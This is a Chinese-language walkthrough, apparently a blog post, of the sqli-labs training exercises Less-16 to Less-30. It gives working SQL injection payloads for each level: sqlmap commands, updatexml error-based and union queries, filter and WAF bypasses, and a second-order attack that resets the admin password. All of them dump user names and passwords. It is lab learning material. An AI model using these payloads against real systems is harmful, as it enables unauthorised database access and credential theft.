Sqli-lab16到30

Less-16

打开题目得到:

Sqli-lab16到30_第1张图片

尝试注入
测得万能用户为:

1") or 1=1#

Sqli-lab16到30_第2张图片

发现不会有报错回显,基本确定是bool盲注:

没有过滤直接上sqlmap一把索

首先报出数据库名:

sqlmap -r "request.txt" -p "uname" -dbs mysql 

Sqli-lab16到30_第3张图片
获取表名

sqlmap -r "request.txt" -p "uname" -D security --tables mysql

Sqli-lab16到30_第4张图片

获取user字段:

sqlmap -r "request.txt" -p "uname" -D security -T users --columns

Sqli-lab16到30_第5张图片
获取字段内容:

sqlmap -r "request.txt" -p "uname" -D security -T users --columns -C username,password --dump 

Sqli-lab16到30_第6张图片

Less-17:

尝试注入发现怎么都没有想要的回显

于是就用一个存在的用户进行登录看看:
得到:

Sqli-lab16到30_第7张图片

回显密码修改,猜测在密码处存在注入

尝试密码:admin1'

得到:
Sqli-lab16到30_第8张图片

发现单引号爆错,于是打一波报错注入:

爆出当前数据库:

uname=admin1&Submit=submit&passwd=2' or updatexml(1,concat(0x7e,database(),0x7e),1)#

得到:

Sqli-lab16到30_第9张图片

爆出数据表名:

3432' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

Sqli-lab16到30_第10张图片
爆出字段名:

3432' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1)#

Sqli-lab16到30_第11张图片
爆值:

username的值(只有一部分):

uname=admin1&Submit=submit&passwd=3432' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users) as hack),0x7e),1)#

Sqli-lab16到30_第12张图片

爆password的值

uname=admin1&Submit=submit&passwd=3432' and updatexml(1,concat(0x7e,(select group_concat(password) from (select password from users) as hack),0x7e),1)#

Sqli-lab16到30_第13张图片

Less-18:

首先寻找注入,在登陆页面对密码和用户尝试注入发现没有找到
于是利用sqlmap,来查找注入点

发现要在登陆成功时才能跑出注入点

Sqli-lab16到30_第14张图片

发现sqlmap打出注入点在User-Agent处

于是手测一波:

Sqli-lab16到30_第15张图片

发现单引号报错,于是就利用17题的报错注入打一波
但是发现注释符不能用就用引号闭合:

爆出当前数据库:

'or updatexml(1,concat(0x7e,database(),0x7e),1) or'

Sqli-lab16到30_第16张图片

爆出表:

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '

Sqli-lab16到30_第17张图片
爆出字段:

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1) or '

Sqli-lab16到30_第18张图片

爆出值:

username值:

'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '

Sqli-lab16到30_第19张图片

password值:

Sqli-lab16到30_第20张图片

Less-19

首先得到题目还是找注入点

发现uname和passwd尝试注入无果

直接换sqlmap检测注入

Sqli-lab16到30_第21张图片

发现注入点为Referer(前提登陆成功)

于是手测一波:

Sqli-lab16到30_第22张图片

单引号报错,直接手打报错注入

爆出当前数据库名:

'or updatexml(1,concat(0x7e,database(),0x7e),1) or'

Sqli-lab16到30_第23张图片
爆出表名:

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '

Sqli-lab16到30_第24张图片

爆出字段:

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1) or '

Sqli-lab16到30_第25张图片

username值:

'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '

Sqli-lab16到30_第26张图片

password值:

'or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) or '

Sqli-lab16到30_第27张图片

Less-20

首先打开题目得到:

Sqli-lab16到30_第28张图片
在对username 和password进行注入

发现无果,于是在登陆得到:
Sqli-lab16到30_第29张图片

大体意思就是清理自己的cookie,然后重新登陆获取cookie,
并且Cookie: uname=admin1

直接盲猜cookie注入

Sqli-lab16到30_第30张图片
发现报错,直接打报错注入

获取库名:

'or updatexml(1,concat(0x7e,database(),0x7e),1) or'

Sqli-lab16到30_第31张图片
获取表名:

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '

Sqli-lab16到30_第32张图片

获取字段:

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1) or '

Sqli-lab16到30_第33张图片

获取值:

username值:

'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '

Sqli-lab16到30_第34张图片

password值:

Sqli-lab16到30_第35张图片

Less-21

首先打开页面尝试寻找注入点

发现在登陆后的cookie值出:

Sqli-lab16到30_第36张图片

发现有Cookie值,直接打有过滤:

Sqli-lab16到30_第37张图片

又发现Cookie的uname的值好像被编码了,有点像base64,解码一下得到:

Sqli-lab16到30_第38张图片
尝试: ’ 攻击

攻击:

Sqli-lab16到30_第39张图片

Sqli-lab16到30_第40张图片

发现报错于是就用直接打报错注入:

获取数据库:

'or updatexml(1,concat(0x7e,database(),0x7e),1) or'

base64编码攻击:

Sqli-lab16到30_第41张图片

获取表名:

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '

base64编码,攻击:

Sqli-lab16到30_第42张图片

获取字段:

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '

base64编码,进攻:

Sqli-lab16到30_第43张图片

获取值:

username值:

'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '

base64编码,攻击

Sqli-lab16到30_第44张图片

password值:

'or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) or '

base64编码,攻击

Sqli-lab16到30_第45张图片

Less-22

打开登陆发现和Less-21一样,都是cookie的base64编码。
但是,是双引号闭合:

Sqli-lab16到30_第46张图片
直接获取username的值:

"or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or "

Sqli-lab16到30_第47张图片

Less-23:

打开题目得到:

Sqli-lab16到30_第48张图片

回到了get方法请求,直接尝试:?id=’

得到:

Sqli-lab16到30_第49张图片

尝试报错注入发现直接打通:

获取username值:

'or updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) or '

Sqli-lab16到30_第50张图片

玩了这么多报错注入这次换点别的

union联合注入

首先尝试:1’ or 1=1-- ad

Sqli-lab16到30_第51张图片发现注释没有用,其他注释也没有用

直接绕过注释

用:-1’ union select 1,2,'3

判断字段,发现用4时报错
3个不报错

Sqli-lab16到30_第52张图片

所以字段为3

直接打:
获取数据库:

Sqli-lab16到30_第53张图片
获取表名:

 -1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())'

Sqli-lab16到30_第54张图片
获取字段:

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database())'

Sqli-lab16到30_第55张图片

获取值:

-1' union select 1,2,(select group_concat(username) from users)'

Sqli-lab16到30_第56张图片

Less-24

这题采用白盒测试

直接看源码:
Sqli-lab16到30_第57张图片
有这几个页面

先看login.php

Sqli-lab16到30_第58张图片
发现有:mysql_real_escape_string()函数保护

mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符

所以这里不能打sql注入

换login_create.php

Sqli-lab16到30_第59张图片
发现都有mysql_real_escape_string()函数保护

换pass_change.php

Sqli-lab16到30_第60张图片

发现有所不同,username,没有被保护,但是username是通过
SESSION获取的,是用户名这个值我们是可控的,但是username的
大小为20

Sqli-lab16到30_第61张图片

所以进行大于20长度的注入语句时报错,因为注册的用户超出20的长度时就会报错。Sqli-lab16到30_第62张图片

但是这个漏洞可以利用来进行普通用户修改admin用户的密码

同login_create.php创建一个为:
admin’# 的用户

密码随便记住就行

Sqli-lab16到30_第63张图片

登陆然后去修改密码:

Sqli-lab16到30_第64张图片

点击Reset修改密码为123456,退出去就能admin,123456
登陆:

Sqli-lab16到30_第65张图片
Sqli-lab16到30_第66张图片

Less-25:

打开题目看到:

Sqli-lab16到30_第67张图片
过滤了or 和 and,不慌直接双写绕过:

Sqli-lab16到30_第68张图片
同样可以打报错注入和,union注入

只需将有or 和 and 的地方双写绕过就可以

uniob注入:
获取username的值:

?id=-1' union select 1,2,(select group_concat(username) from users)-- dsa

Sqli-lab16到30_第69张图片

Less-25a:

打开题目发现和上一题差不多但这题不需要单引号闭合:

直接获取username的值

?id=-1 union select 1,2,(select group_concat(username) from users)-- dsa

Sqli-lab16到30_第70张图片

Less-26

打开题目:

Sqli-lab16到30_第71张图片

提示过滤了空格和注释

空格简单直接用()绕过,注释直接用’闭合,并且还有or和and的过滤

利用报错注入

Sqli-lab16到30_第72张图片
查看username的值:

Sqli-lab16到30_第73张图片

?id='oorr(updatexml(1,concat(0x7e,(select(group_concat(username))from (users)),0x7e),1))oorr'

union注入

利用(php版本为:php-5.2.17才能解析):

%a0 空格 绕过

查看username的值:

id=3411434124232332'%a0union%a0select%a01,((select%a0group_concat(username)%a0from%a0users)),3%a0oorr%a0'1'='1

Sqli-lab16到30_第74张图片

Less-26a

这一题与上题不同,用’)闭合,并且不能打报错注入

所以还是利用:
union注入(php版本为:php-5.2.17)的%a0 空格 绕过

查看username的值:

id=3411434124232332')%a0union%a0select%a01,((select%a0group_concat(username)%a0from%a0users)),3%a0oorr%a0('1'='1

在这里插入图片描述

Less-27

打开题目提示过滤了union,select并且也过滤了空格,注释

采取大小绕过

直接打报错注入:

获取username的值:

id='or(updatexml(1,concat(0x7e,(sElEct(group_concat(username))from (users)),0x7e),1))or'

Sqli-lab16到30_第75张图片

Less-27a

发现和Less-26a一样不能打报错注入,但是是"闭合:

所以还是利用:
union注入(php版本为:php-5.2.17)的%a0 空格 绕过

获取username的值:

id=3411434124232332"%a0UNion%a0sElect%a01,(selEct%a0group_concat(username)%a0from%a0users),3%a0or%a0"1"="1

Sqli-lab16到30_第76张图片

Less-28

手测试一波发现,过滤空格,注释,并且是’)闭合

直接利用

union注入(php版本为:php-5.2.17)的%a0 空格 绕过

获取username的值:

id=')%a0UNion%a0sElect%a01,(selEct%a0group_concat(username)%a0from%a0users),3%a0or%a0('1'='1

Sqli-lab16到30_第77张图片

Less-28a

和上一题差不多

直接利用

union注入(php版本为:php-5.2.17)的%a0 空格 绕过

获取username的值:

id=')%a0UNion%a0sElect%a01,(selEct%a0group_concat(username)%a0from%a0users),3%a0or%a0('1'='1

Sqli-lab16到30_第78张图片

Less-29

打开题目题目说是设置了世界上最好的waf

但是就是一个简单的union注入:

Sqli-lab16到30_第79张图片

于是直接看源码发现有个login.php

在这里进行注入就进行了防护
Sqli-lab16到30_第80张图片

这里绕过waf,注入方法就是参数污染

用两个id,一个用于欺骗waf,一个是我们的playload

没什么难度直接union打,得到username的值:

id=1&id=-1' union select 1,2,(select group_concat(username) from users)-- dsa

Sqli-lab16到30_第81张图片

Less-30

发现和Less-29一样第一页面直接union就打了,但是是双引号闭合

Sqli-lab16到30_第82张图片

还是得去看,login.php页面:
发现和Less-29一样,但是是"闭合:

直接获取username的值:

id=1&id=-1" union select 1,2,(select group_concat(username) from users)-- ad

Sqli-lab16到30_第83张图片

你可能感兴趣的:(web安全)